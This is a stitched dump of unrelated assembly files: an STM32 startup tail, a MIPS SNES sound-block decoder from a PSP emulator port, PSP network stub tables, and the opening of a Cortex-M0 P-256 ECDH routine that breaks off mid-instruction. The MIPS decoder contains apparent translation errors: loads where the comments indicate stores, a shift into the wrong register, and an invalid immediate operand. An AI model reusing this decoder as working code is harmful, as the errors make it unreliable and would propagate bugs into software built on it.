DMA2_Stream5_IRQHandler [WEAK] EXPORT DMA2_Stream6_IRQHandler [WEAK] EXPORT DMA2_Stream7_IRQHandler [WEAK] EXPORT USART6_IRQHandler [WEAK] EXPORT I2C3_EV_IRQHandler [WEAK] EXPORT I2C3_ER_IRQHandler [WEAK] EXPORT OTG_HS_EP1_OUT_IRQHandler [WEAK] EXPORT OTG_HS_EP1_IN_IRQHandler [WEAK] EXPORT OTG_HS_WKUP_IRQHandler [WEAK] EXPORT OTG_HS_IRQHandler [WEAK] EXPORT DCMI_IRQHandler [WEAK] EXPORT HASH_RNG_IRQHandler [WEAK] EXPORT FPU_IRQHandler [WEAK] EXPORT UART7_IRQHandler [WEAK] EXPORT UART8_IRQHandler [WEAK] EXPORT SPI4_IRQHandler [WEAK] EXPORT SPI5_IRQHandler [WEAK] EXPORT SPI6_IRQHandler [WEAK] EXPORT SAI1_IRQHandler [WEAK] EXPORT DMA2D_IRQHandler [WEAK] WWDG_IRQHandler PVD_IRQHandler TAMP_STAMP_IRQHandler RTC_WKUP_IRQHandler FLASH_IRQHandler RCC_IRQHandler EXTI0_IRQHandler EXTI1_IRQHandler EXTI2_IRQHandler EXTI3_IRQHandler EXTI4_IRQHandler DMA1_Stream0_IRQHandler DMA1_Stream1_IRQHandler DMA1_Stream2_IRQHandler DMA1_Stream3_IRQHandler DMA1_Stream4_IRQHandler DMA1_Stream5_IRQHandler DMA1_Stream6_IRQHandler ADC_IRQHandler CAN1_TX_IRQHandler CAN1_RX0_IRQHandler CAN1_RX1_IRQHandler CAN1_SCE_IRQHandler EXTI9_5_IRQHandler TIM1_BRK_TIM9_IRQHandler TIM1_UP_TIM10_IRQHandler TIM1_TRG_COM_TIM11_IRQHandler TIM1_CC_IRQHandler TIM2_IRQHandler TIM3_IRQHandler TIM4_IRQHandler I2C1_EV_IRQHandler I2C1_ER_IRQHandler I2C2_EV_IRQHandler I2C2_ER_IRQHandler SPI1_IRQHandler SPI2_IRQHandler USART1_IRQHandler USART2_IRQHandler USART3_IRQHandler EXTI15_10_IRQHandler RTC_Alarm_IRQHandler OTG_FS_WKUP_IRQHandler TIM8_BRK_TIM12_IRQHandler TIM8_UP_TIM13_IRQHandler TIM8_TRG_COM_TIM14_IRQHandler TIM8_CC_IRQHandler DMA1_Stream7_IRQHandler FMC_IRQHandler SDIO_IRQHandler TIM5_IRQHandler SPI3_IRQHandler UART4_IRQHandler UART5_IRQHandler TIM6_DAC_IRQHandler TIM7_IRQHandler DMA2_Stream0_IRQHandler DMA2_Stream1_IRQHandler DMA2_Stream2_IRQHandler DMA2_Stream3_IRQHandler DMA2_Stream4_IRQHandler ETH_IRQHandler ETH_WKUP_IRQHandler CAN2_TX_IRQHandler CAN2_RX0_IRQHandler CAN2_RX1_IRQHandler CAN2_SCE_IRQHandler OTG_FS_IRQHandler DMA2_Stream5_IRQHandler DMA2_Stream6_IRQHandler DMA2_Stream7_IRQHandler USART6_IRQHandler I2C3_EV_IRQHandler I2C3_ER_IRQHandler OTG_HS_EP1_OUT_IRQHandler OTG_HS_EP1_IN_IRQHandler OTG_HS_WKUP_IRQHandler OTG_HS_IRQHandler DCMI_IRQHandler HASH_RNG_IRQHandler FPU_IRQHandler UART7_IRQHandler UART8_IRQHandler SPI4_IRQHandler SPI5_IRQHandler SPI6_IRQHandler SAI1_IRQHandler DMA2D_IRQHandler B . ENDP ALIGN ;*************************************************************************** ; User Stack and Heap initialization ;*************************************************************************** IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ALIGN ENDIF END ;******************** (C) COPYRIGHT STMicroelectronics *END OF FILE***
173210/snes9xTYL	9,222	sound_mips.S	.align 4 .globl DecodeBlockAsm .globl DecodeBlockAsm2 .macro SMP12CLIP16 BGT $8, 0xFFFF8000,1111f nop LI $8, 0xFFFF8000 J 1112f nop 1111: BLT $8, 0x7FFF,1112f nop li $8, 0x7FFF 1112: BGT $6, 0xFFFF8000,1121f nop li $6, 0xFFFF8000 J 1122f nop 1121: BLT $6, 0x7FFF,1122f nop li $6, 0x7FFF 1122: .endm /* ;Bit-Rate Expand Waveform ; ;Desc: ; Decompresses a 9-byte bit-rate reduced block into 16 16-bit samples. ; This procedure is designed to be recursively called to decompress a series of blocks. ;In: ; $4=ESI-> Sample Block ; $5=EDI -> Output buffer ; $6=EDX =3D Last sample of previous block (32-bit) ; $7=EBX =3D Next to last sample (sign extended from 16-bits) ;Out: ; $4=ESI -> Next Block ; $5=EDI -> After last sample ; $6=EDX =3D Last sample (32-bit) ; $7=EBX =3D Next to last sample (16-bit) ;Destroys: ; $8=EAX / .align 4 DecodeBlockAsm: //LDR $6,[$6] lw $6,($6) //LDR $7,[$7] lw $7,($7) //BL BREWave jal BREWave nop //LDMFD SP!,{$4,$5} //STR $6,[$4] lw $6,($4) //STR $7,[$5] lw $7,($5) //LDMFD SP!,{$8,LR} //MOV PC,LR jr $ra nop BREWave: //STMFD SP!,{$9,$10,$11} //Mov AL,[ESI] ;Get header byte //Inc ESI //LDRB $8,[$4],#1 lbu $8,($4) addu $4,$4,0x1 //Mov CL,0CFh //Sub CL,AL //SetC AH //Dec AH //And CL,AH //ShR CL,4 ;Isolate range //CMP $8,#0xD0 blt $8,0xD0,label11 nop //MOVHS $9,#0 move $9,$0 j label12 nop label11: //MOVLO $9,#0xCF //SUBLO $9,$9,$8 //MOVLO $9,$9,LSR #4 li $9,0xCF sub $9,$9,$8 srl $9,$9, 4 label12: //Mov CH,8 ;Decompress 8 bytes (16 nybbles) //MOV $10,#8 li $10,0x8 //Test AL,0Ch ;Does block use ADPCM compression? //JZ @@Method0 ; No //TST $8,#0xC //BEQ Method0 andi $12,$8,0xC beqz $12,Method0 nop //Test AL,8 ;Does block use method 1? //JZ @@Method1 ; Yes //TST $8,#0x8 //BEQ Method1 andi $12,$8,0x8 beqz $12,Method1 nop //Test AL,4 ;Does block use method 2? //jnz @@Method3 ; Yes //jmp @@Method2 //TST $8,#0x4 //BEQ Method2 andi $12,$8,0x4 beqz $12,Method2 nop //B Method3 //;Must use method 3 j Method3 nop / ALIGN 16 ;[Smp] ----------------------------------*/ Method0: //ADD $9,$9,#16 addu $9,$9, 16 Method0loop: //XOr EAX,EAX //XOr EDX,EDX //Mov AH,byte[ESI] ;Get byte //Mov DH,AH //And AH,0F0h ;AH = High nybble << 12 //ShL DH,4 ;DH = Low nybble << 12 //LDRB $8,[$4],#1 lbu $8,($4) addu $4,$4,1 //$8 = 0x000000hl //MOV $6,$8,LSL #(28) sll $6,$8, 28 //$6 = 0xl0000000 //MOV $8,$8,LSL #(24) sll $6,$8, 24 //$8 = 0xhl000000 //BIC $8,$8,#0x0F000000 andi $8,$8,#0xF0FFFFFF //$8 = 0xh0000000 //SAR AX,CL ;Reduce samples according to range //SAR DX,CL //MOV $8,$8,ASR $9 sra $8,$8,$9 //MOV $6,$6,ASR $9 sra $6,$6,$9 //Mov word[EDI],AX //Mov word[2+EDI],DX //STRH $8,[$5],#2 sh $8,($5) //STRH $6,[$5],#2 sh $6,2($5) addu $5,$5,4 //Add EDI,4 //Inc ESI //Dec CH //JNZ Short @@Method0 //MovSX EDX,DX //MovSX EBX,AX //Ret //SUBS $10,$10,#1 sub $10,$10,1 //BNE Method0loop bnez $10,Method0loop nop //MOV $6,$6,LSL #16 sll $6,$6,16 //MOV $6,$6,ASR #16 sra $6,$6,16 //MOV $7,$8,LSL #16 sll $7,$8,16 //MOV $7,$7,ASR #16 sra $7,$7,16 //LDMFD SP!,{$9,$10,$11} //MOV PC,LR jr $ra nop //ALIGN 16 // ;[Delta]+[Smp-1](15/16) ----------------- Method1: //ADD $11,$9,#16 add $11,$9,16 Method1loop: //MovSX EBX,byte[ESI] ;Sign extend upper nybble into EBX //And BL,0F0h //ShL EBX,8 //SAR EBX,CL //LDRSB $7,[$4] lb $7,($4) //BIC $7,$7,#0xF and $7,$7,0xFFFFFFF0 //MOV $7,$7,LSL #8 sll $7,$7,8 //MOV $7,$7,ASR $9 srav $7,$7,$9 //MovSX EAX,DX //Add EBX,EAX //SAR EAX,4 //Sub EBX,EAX //MOV $8,$6,LSL #16 sll $8,$6,16 //ADD $7,$7,$8,ASR #16 //SUB $7,$7,$8,ASR #20 sra $12,$8,16 sra $13,$8,20 add $7,$12,$7 sub $7,$7,$13 //Mov word[EDI],BX //STRH $7,[$5],#2 sh $7,($5) //Mov DL,byte[ESI] //ShL EDX,12 //MovSX EDX,DX //SAR EDX,CL //LDRSB $6,[$4],#1 lb $6,($4) addu $4,$4,1 //MOV $6,$6,LSL #(12+16) sll $6,$6,28 //MOV $6,$6,ASR $11 srav $6,$6,$11 //MovSX EAX,BX //Add EDX,EAX //SAR EAX,4 //Sub EDX,EAX //MOV $8,$7,LSL #16 sll $8,$7,16 //ADD $6,$6,$8,ASR #16 //SUB $6,$6,$8,ASR #20 sra $12,$8,16 sra $13,$8,20 add $6,$6,$12 sub $6,$6,$13 //Mov word[2+EDI],DX //STRH $6,[$5],#2 sh $6, 2($5) //Add EDI,4 addu $5,$5,4 //Inc ESI //Dec CH //JNZ Short @@Method1 //MovSX EBX,BX //Ret //SUBS $10,$10,#1 sub $10,$10,1 //BNE Method1loop bnez $10,Method1loop nop //MOV $7,$7,LSL #16 sll $7,$7,16 //MOV $7,$7,ASR #16 sra $7,$7,16 //LDMFD SP!,{$9,$10,$11} //MOV PC,LR jr $ra nop //ALIGN 16 //;[Delta]+[Smp-1](61/32)-[Smp-2](30/32) -- Method2: //ADD $11,$9,#16 add $11,$9,16 Method2loop: //MovSX EAX,Byte[ESI] ;EAX = Delta //LDRSB $8,[$4] lb $8,($4) //And AL,0F0h //ShL EAX,8 //SAR EAX,CL //BIC $8,$8,#0xF and $8,$8,0xFFFFFFF0 //MOV $8,$8,LSL #8 sll $8,$8,8 //MOV $8,$8,ASR $9 srav $8,$8,$9 //;Subtract 15/16 of second sample ----- //Sub EAX,EBX //SAR EBX,4 //Add EAX,EBX //MovSX EBX,DX //SUB $8,$8,$7 //ADD $8,$8,$7,ASR #4 //MOV $7,$6 sra $12,$7,4 sub $8,$8,$7 add $8,$8,$12 move $7,$6 //;Add 61/32 of last sample ------------ //And DL,~3 //Add EAX,EDX //Add EAX,EDX //SAR EDX,4 //Sub EAX,EDX //SAR EDX,1 //BIC $6,$6,#3 and $6,$6,0xFFFFFFFC //ADD $8,$8,$6,LSL #1 //SUB $8,$8,$6,ASR #4 sll $12,$6,1 sra $13,$6,4 sra $14,$6,5 add $8,$8,$12 sub $8,$8,$13 //MovSX EDX,DX //Sub EAX,EDX //SUB $8,$8,$6,ASR #5 sub $8,$8,$14 //Mov word[EDI],AX //STRH $8,[$5],#2 sh $8,($5) //Mov DL,byte[ESI] //LDRB $6,[$4],#1 lbu $6,($4) addu $4,$4,1 //ShL EDX,12 //MovSX EDX,DX //SAR EDX,CL //MOV $6,$6,LSL #(12+16) sll $6,$6,28 //MOV $6,$6,ASR $11 sra $6,$6,$11 //Sub EDX,EBX //SAR EBX,4 //Add EDX,EBX //MovSX EBX,AX //SUB $6,$6,$7 //ADD $6,$6,$7,ASR #4 sra $12,$7,4 sub $6,$6,$7 add $6,$6,$12 //MOV $7,$8 move $7,$8 //And AL,~3 //Add EDX,EAX //Add EDX,EAX //SAR EAX,4 //Sub EDX,EAX //SAR EAX,1 //BIC $8,$8,#3 and $8,$8,0xFFFFFFFC //ADD $6,$6,$8,LSL #1 //SUB $6,$6,$8,ASR #4 sll $12,$8,1 sra $13,$8,4 sra $14,$8,5 add $6,$6,$12 sub $6,$6,$13 //MovSX EAX,AX //Sub EDX,EAX //SUB $6,$6,$8,ASR #5 sub $6,$6,$14 //Mov word[2+EDI],DX //STRH $6,[$5],#2 sh $6,2($5) //Add EDI,4 addu $5,$5,4 //Inc ESI //Dec CH //JNZ @@Method2 //Ret //SUBS $10,$10,#1 sub $10,$10,1 //BNE Method2loop bnez $10,Method2loop nop //LDMFD SP!,{$9,$10,$11} //MOV PC,LR jr $ra nop //ALIGN 16 //;[Delta]+[Smp-1](115/64)-[Smp-2](52/64) - Method3: //ADD $11,$9,#16 add $11,$9,16 Method3loop: //MovSX EAX,Byte[ESI] //LDRSB $8,[$4] lb $8,($4) //And AL,0F0h //ShL EAX,8 //SAR EAX,CL //BIC $8,$8,#0xF and $8,$8,0xFFFFFFF0 //MOV $8,$8,LSL #8 sll $8,$8,8 //MOV $8,$8,ASR $9 srav $8,$8,$9 //;Subtract 13/16 of second sample ----- //Sub EAX,EBX //SAR EBX,3 //Add EAX,EBX //SAR EBX,1 //Add EAX,EBX //MovSX EBX,DX //SUB $8,$8,$7 //ADD $8,$8,$7,ASR #3 //ADD $8,$8,$7,ASR #4 sra $12,$7,3 sra $13,$7,4 sub $8,$8,$7 add $8,$8,$12 add $8,$8,$13 //MOV $7,$6 move $7,$6 //;Add 115/64 of last sample ----------- //And DL, ~3 //Add EAX,EDX //Add EAX,EDX //SAR EDX,3 //Sub EAX,EDX //SAR EDX,1 //Sub EAX,EDX //SAR EDX,2 //Sub EAX,EDX //BIC $6,$6,#3 and $6,$6,0xFFFFFFFC //ADD $8,$8,$6,LSL #1 //SUB $8,$8,$6,ASR #3 //SUB $8,$8,$6,ASR #4 //SUB $8,$8,$6,ASR #6 sll $12,$6,1 sra $13,$6,3 sra $14,$6,4 sra $15,$6,6 add $8,$8,$12 sub $8,$8,$13 sub $8,$8,$14 sub $8,$8,$15 //Mov word[EDI],AX //STRH $8,[$5],#2 sh $8,($5) //Mov DL,byte[ESI] //LDRB $6,[$4],#1 lbu $6,($4) addu $4,$4,1 //ShL EDX,12 //MovSX EDX,DX //SAR EDX,CL //MOV $6,$6,LSL #(12+16) sll $6,$6,28 //MOV $6,$6,ASR $11 srav $6,$6,$11 //Sub EDX,EBX //SAR EBX,3 //Add EDX,EBX //SAR EBX,1 //Add EDX,EBX //MovSX EBX,AX //SUB $6,$6,$7 //ADD $6,$6,$7,ASR #3 //ADD $6,$6,$7,ASR #4 sra $12,$7,3 sra $13,$7,4 sub $6,$6,$7 add $6,$6,$12 add $6,$6,$13 //MOV $7,$8 move $7,$8 //And AL, ~3 //Add EDX,EAX //Add EDX,EAX //SAR EAX,3 //Sub EDX,EAX //SAR EAX,1 //Sub EDX,EAX //SAR EAX,2 //Sub EDX,EAX //BIC $8,$8,#3 and $8,$8,0xFFFFFFFC //ADD $6,$6,$8,LSL #1 //SUB $6,$6,$8,ASR #3 //SUB $6,$6,$8,ASR #4 //SUB $6,$6,$8,ASR #6 sll $12,$8,1 sra $13,$8,3 sra $14,$8,4 sra $15,$8,6 add $6,$6,$12 sub $6,$6,$13 sub $6,$6,$14 sub $6,$6,$15 //Mov word[2+EDI],DX //STRH $8,[$5],#2 sh $8,2($5) addu $5,$5,4 //Add EDI,4 //Inc ESI //Dec CH //JNZ @@Method3 //Ret //SUBS $10,$10,#1 sub $10,$10,1 //BNE Method3loop bnez $10,Method3loop nop //LDMFD SP!,{$9,$10,$11} jr $ra nop DecodeBlockAsm2: jr $ra nop
173210/snes9xTYL	1,061	psp/common.s	# REVIEW: should be in the standard includes .macro STUB_START module,d1,d2 .section .rodata.stubmodulename,"a" .word 0 __stub_modulestr_\module: .asciz "\module" .align 2 .section .lib.stub,"wa",@progbits .word __stub_modulestr_\module .word \d1 .word \d2 .word __stub_idtable_\module .word __stub_text_\module .section .rodata.stubidtable,"a" __stub_idtable_\module: .section .text.stub,"a",@progbits __stub_text_\module: .endm .macro STUB_END .endm .macro STUB_FUNC funcid,funcname .set push .set noreorder .section .text.stub .weak \funcname \funcname: jr $ra nop .section .rodata.stubidtable .word \funcid .set pop .endm
173210/snes9xTYL	6,116	psp/adhoc/stubs.s	# Additional Stubs for sceNet APIs (not yet in the PSPSDK) # NOTE: require tricky user entry patching when loaded from kernel thread .set noreorder .include "psp/adhoc/common.s" STUB_START "sceNet",0x90000,0x00080005 STUB_FUNC 0x39af39a6,sceNetInit STUB_FUNC 0x281928a9,sceNetTerm STUB_FUNC 0x50647530,sceNetFreeThreadinfo STUB_FUNC 0xad6844c6,sceNetThreadAbort STUB_FUNC 0x89360950,sceNetEtherNtostr STUB_FUNC 0xd27961c9,sceNetEtherStrton STUB_FUNC 0x0bf0a3ae,sceNetGetLocalEtherAddr STUB_FUNC 0xcc393e48,sceNetGetMallocStat STUB_END STUB_START "sceNetInet",0x90000,0x001c0005 STUB_FUNC 0x17943399,sceNetInetInit STUB_FUNC 0xa9ed66b9,sceNetInetTerm STUB_FUNC 0xdb094e1b,sceNetInetAccept STUB_FUNC 0x1a33f9ae,sceNetInetBind STUB_FUNC 0x8d7284ea,sceNetInetClose STUB_FUNC 0x805502dd,sceNetInetCloseWithRST STUB_FUNC 0x410b34aa,sceNetInetConnect STUB_FUNC 0xe247b6d6,sceNetInetGetpeername STUB_FUNC 0x162e6fd5,sceNetInetGetsockname STUB_FUNC 0x4a114c7c,sceNetInetGetsockopt STUB_FUNC 0xd10a1a7a,sceNetInetListen STUB_FUNC 0xfaabb1dd,sceNetInetPoll STUB_FUNC 0xcda85c99,sceNetInetRecv STUB_FUNC 0xc91142e4,sceNetInetRecvfrom STUB_FUNC 0xeece61d2,sceNetInetRecvmsg STUB_FUNC 0x5be8d595,sceNetInetSelect STUB_FUNC 0x7aa671bc,sceNetInetSend STUB_FUNC 0x05038fc7,sceNetInetSendto STUB_FUNC 0x774e36f4,sceNetInetSendmsg STUB_FUNC 0x2fe71fe7,sceNetInetSetsockopt STUB_FUNC 0x4cfe4e56,sceNetInetShutdown STUB_FUNC 0x8b7b220f,sceNetInetSocket STUB_FUNC 0x80a21abd,sceNetInetSocketAbort STUB_FUNC 0xfbabe411,sceNetInetGetErrno STUB_FUNC 0xb75d5b0a,sceNetInetInetAddr STUB_FUNC 0x1bdf5d13,sceNetInetInetAton STUB_FUNC 0xd0792666,sceNetInetInetNtop STUB_FUNC 0xe30b8c19,sceNetInetInetPton STUB_END STUB_START "sceNetResolver",0x90000,0x00070005 STUB_FUNC 0xf3370e61,sceNetResolverInit STUB_FUNC 0x6138194a,sceNetResolverTerm STUB_FUNC 0x244172af,sceNetResolverCreate STUB_FUNC 0x94523e09,sceNetResolverDelete STUB_FUNC 0x224c5f44,sceNetResolverStartNtoA STUB_FUNC 0x629e2fb7,sceNetResolverStartAtoN STUB_FUNC 0x808f6063,sceNetResolverStop STUB_END STUB_START "sceNetAdhoc",0x90000,0x00190005 STUB_FUNC 0xe1d621d7,sceNetAdhocInit STUB_FUNC 0xa62c6f57,sceNetAdhocTerm STUB_FUNC 0x7a662d6b,sceNetAdhocPollSocket STUB_FUNC 0x73bfd52d,sceNetAdhocSetSocketAlert STUB_FUNC 0x4d2ce199,sceNetAdhocGetSocketAlert STUB_FUNC 0x6f92741b,sceNetAdhocPdpCreate STUB_FUNC 0xabed3790,sceNetAdhocPdpSend STUB_FUNC 0xdfe53e03,sceNetAdhocPdpRecv STUB_FUNC 0x7f27bb5e,sceNetAdhocPdpDelete STUB_FUNC 0xc7c1fc57,sceNetAdhocGetPdpStat STUB_FUNC 0x877f6d66,sceNetAdhocPtpOpen STUB_FUNC 0xfc6fc07b,sceNetAdhocPtpConnect STUB_FUNC 0xe08bdac1,sceNetAdhocPtpListen STUB_FUNC 0x9df81198,sceNetAdhocPtpAccept STUB_FUNC 0x4da4c788,sceNetAdhocPtpSend STUB_FUNC 0x8bea2b3e,sceNetAdhocPtpRecv STUB_FUNC 0x9ac2eeac,sceNetAdhocPtpFlush STUB_FUNC 0x157e6225,sceNetAdhocPtpClose STUB_FUNC 0xb9685118,sceNetAdhocGetPtpStat STUB_FUNC 0x7f75c338,sceNetAdhocGameModeCreateMaster STUB_FUNC 0x3278ab0c,sceNetAdhocGameModeCreateReplica STUB_FUNC 0x98c204c8,sceNetAdhocGameModeUpdateMaster STUB_FUNC 0xfa324b4e,sceNetAdhocGameModeUpdateReplica STUB_FUNC 0xa0229362,sceNetAdhocGameModeDeleteMaster STUB_FUNC 0x0b2228e9,sceNetAdhocGameModeDeleteReplica STUB_END STUB_START "sceNetAdhocctl",0x90000,0x00140005 STUB_FUNC 0xe26f226e,sceNetAdhocctlInit STUB_FUNC 0x9d689e13,sceNetAdhocctlTerm STUB_FUNC 0x0ad043ed,sceNetAdhocctlConnect STUB_FUNC 0xec0635c1,sceNetAdhocctlCreate STUB_FUNC 0x5e7f79c9,sceNetAdhocctlJoin STUB_FUNC 0x08fff7a0,sceNetAdhocctlScan STUB_FUNC 0x34401d65,sceNetAdhocctlDisconnect STUB_FUNC 0x20b317a0,sceNetAdhocctlAddHandler STUB_FUNC 0x6402490b,sceNetAdhocctlDelHandler STUB_FUNC 0x75ecd386,sceNetAdhocctlGetState STUB_FUNC 0x362cbe8f,sceNetAdhocctlGetAdhocId STUB_FUNC 0xe162cb14,sceNetAdhocctlGetPeerList STUB_FUNC 0x99560abe,sceNetAdhocctlGetAddrByName STUB_FUNC 0x8916c003,sceNetAdhocctlGetNameByAddr STUB_FUNC 0xded9d28e,sceNetAdhocctlGetParameter STUB_FUNC 0x81aee1be,sceNetAdhocctlGetScanInfo STUB_FUNC 0xa5c055ce,sceNetAdhocctlCreateEnterGameMode STUB_FUNC 0x1ff89745,sceNetAdhocctlJoinEnterGameMode STUB_FUNC 0xcf8e084d,sceNetAdhocctlExitGameMode STUB_FUNC 0x5a014ce0,sceNetAdhocctlGetGameModeInfo STUB_END STUB_START "sceNetAdhocMatching",0x90000,0x000c0005 STUB_FUNC 0x2a2a1e07,sceNetAdhocMatchingInit STUB_FUNC 0x7945ecda,sceNetAdhocMatchingTerm STUB_FUNC 0xca5eda6f,sceNetAdhocMatchingCreate STUB_FUNC 0x93ef3843,sceNetAdhocMatchingStart STUB_FUNC 0x32b156b3,sceNetAdhocMatchingStop STUB_FUNC 0xf16eaf4f,sceNetAdhocMatchingDelete STUB_FUNC 0x5e3d4b79,sceNetAdhocMatchingSelectTarget STUB_FUNC 0xea3c6108,sceNetAdhocMatchingCancelTarget STUB_FUNC 0xb58e61b7,sceNetAdhocMatchingSetHelloOpt STUB_FUNC 0xb5d96c2a,sceNetAdhocMatchingGetHelloOpt STUB_FUNC 0xc58bcd9e,sceNetAdhocMatchingGetMembers STUB_FUNC 0x40f8f435,sceNetAdhocMatchingGetPoolMaxAlloc STUB_END STUB_START "sceNetApctl",0x90000,0x00080005 STUB_FUNC 0xe2f91f9b,sceNetApctlInit STUB_FUNC 0xb3edd0ec,sceNetApctlTerm STUB_FUNC 0x2befdf23,sceNetApctlGetInfo STUB_FUNC 0x8abadd51,sceNetApctlAddHandler STUB_FUNC 0x5963991b,sceNetApctlDelHandler STUB_FUNC 0xcfb957c6,sceNetApctlConnect STUB_FUNC 0x24fe91a1,sceNetApctlDisconnect STUB_FUNC 0x5deac81b,sceNetApctlGetState STUB_END STUB_START "sceLCDC_Driver",0x90000,0x00060005 STUB_FUNC 0xb55500a3,sceLcdcInit STUB_FUNC 0xdcd51769,sceLcdcEnd STUB_FUNC 0xa0032c3d,sceLcdcSuspend STUB_FUNC 0xc6f10c77,sceLcdcResume STUB_FUNC 0xa182b32c,sceLcdcEnable STUB_FUNC 0xa0032c3d,sceLcdcDisable STUB_END
173210/snes9xTYL	1,061	psp/adhoc/common.s	# REVIEW: should be in the standard includes .macro STUB_START module,d1,d2 .section .rodata.stubmodulename,"a" .word 0 __stub_modulestr_\module: .asciz "\module" .align 2 .section .lib.stub,"wa",@progbits .word __stub_modulestr_\module .word \d1 .word \d2 .word __stub_idtable_\module .word __stub_text_\module .section .rodata.stubidtable,"a" __stub_idtable_\module: .section .text.stub,"a",@progbits __stub_text_\module: .endm .macro STUB_END .endm .macro STUB_FUNC funcid,funcname .set push .set noreorder .section .text.stub .weak \funcname \funcname: jr $ra nop .section .rodata.stubidtable .word \funcid .set pop .endm
17HXX/BLE5_ST17H66	45,709	ST17H66_SDK_3.0.9/components/libraries/secure/asm_ecdh_p256/P256-cortex-m0-ecdh-keil.s	; P-256 ECDH ; Author: Emil Lenngren ; Licensed under the BSD 2-clause license. ; The 256x256->512 multiplication/square code is based on public domain NaCl by Ana Helena Snchez and Bjrn Haase (https://munacl.cryptojedi.org/curve25519-cortexm0.shtml) ; Note on calling conventions: some of the local functions in this file use custom calling conventions. ; Exported symbols use the standard C calling conventions for ARM, which means that r4-r11 and sp are preserved and the other registers are clobbered. ; Stack usage is 1356 bytes. ; Settings below for optimizing for speed vs size. ; When optimizing fully for speed, the run time is 4 456 738 cycles and code size is 3708 bytes. ; When optimizing fully for size, the run time is 5 764 182 cycles and code size is 2416 bytes. ; Get the time taken (in seconds) by dividing the number of cycles with the clock frequency (Hz) of the cpu. ; Different optimization levels can be done by setting some to 1 and some to 0. ; Optimizing all settings for size except use_mul_for_sqr and use_smaller_modinv gives a run time of 4 851 527 cycles and code size is 2968 bytes. gbla use_mul_for_sqr use_mul_for_sqr seta 0 ; 1 to enable, 0 to disable (14% slower if enabled but saves 624/460 bytes (depending on use_noninlined_sqr64) of compiled code size) gbla use_noninlined_mul64 use_noninlined_mul64 seta 1 ; 1 to enable, 0 to disable (2.6%/4.0% slower (depending on use_mul_for_sqr) if enabled but saves 308 bytes of compiled code size) gbla use_noninlined_sqr64 use_noninlined_sqr64 seta 1 ; 1 to enable, 0 to disable (2.4% slower if enabled and use_mul_for_sqr=0 but saves 164 bytes of compiled code size) gbla use_interpreter use_interpreter seta 1 ; 1 to enable, 0 to disable (3.6% slower if enabled but saves 268 bytes of compiled code size) gbla use_smaller_modinv use_smaller_modinv seta 0 ; 1 to enable, 0 to disable (3.6% slower if enabled but saves 88 bytes of compiled code size) area \|.text\|,code,readonly align 2 if use_noninlined_mul64 == 1 ; in: (r4,r5) = a[0..1], (r2,r3) = b[0..1] ; out: r0-r3 ; clobbers r4-r9 and lr P256_mul64 proc mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 bx lr endp endif ; in: r10 = a, r11 = b, (r4,r5) = a[0..1], (r2,r3) = b[0..1] ; out: r8,r9,r2-r7 ; clobbers all other registers P256_mul128 proc if use_noninlined_mul64 == 1 push {lr} frame push {lr} endif ;///////MUL128///////////// ;MUL64 if use_noninlined_mul64 == 0 mov r6,r5 mov r1,r2 subs r5,r4 sbcs r0,r0 eors r5,r0 subs r5,r0 subs r1,r3 sbcs r7,r7 eors r1,r7 subs r1,r7 eors r7,r0 mov r9,r1 mov r8,r5 lsrs r1,r4,#16 uxth r4,r4 mov r0,r4 uxth r5,r2 lsrs r2,#16 muls r0,r5,r0;//00 muls r5,r1,r5;//10 muls r4,r2,r4;//01 muls r1,r2,r1;//11 lsls r2,r4,#16 lsrs r4,r4,#16 adds r0,r2 adcs r1,r4 lsls r2,r5,#16 lsrs r4,r5,#16 adds r0,r2 adcs r1,r4 lsrs r4,r6,#16 uxth r6,r6 uxth r5,r3 lsrs r3,r3,#16 mov r2,r6 muls r2,r5,r2 muls r5,r4,r5 muls r6,r3,r6 muls r3,r4,r3 lsls r4,r5,#16 lsrs r5,r5,#16 adds r2,r4 adcs r3,r5 lsls r4,r6,#16 lsrs r5,r6,#16 adds r2,r4 adcs r3,r5 eors r6,r6 adds r2,r1 adcs r3,r6 mov r1,r9 mov r5,r8 mov r8,r0 lsrs r0,r1,#16 uxth r1,r1 mov r4,r1 lsrs r6,r5,#16 uxth r5,r5 muls r1,r5,r1 muls r4,r6,r4 muls r5,r0,r5 muls r0,r6,r0 lsls r6,r4,#16 lsrs r4,#16 adds r1,r6 adcs r0,r4 lsls r6,r5,#16 lsrs r5,#16 adds r1,r6 adcs r0,r5 eors r1,r7 eors r0,r7 eors r4,r4 asrs r7,r7,#1 adcs r1,r2 adcs r2,r0 adcs r7,r4 mov r0,r8 adds r1,r0 adcs r2,r3 adcs r3,r7 else bl P256_mul64 endif push {r0,r1} frame address sp,8+use_noninlined_mul644 mov r1,r10 mov r10,r2 ldm r1,{r0,r1,r4,r5} mov r2,r4 mov r7,r5 subs r2,r0 sbcs 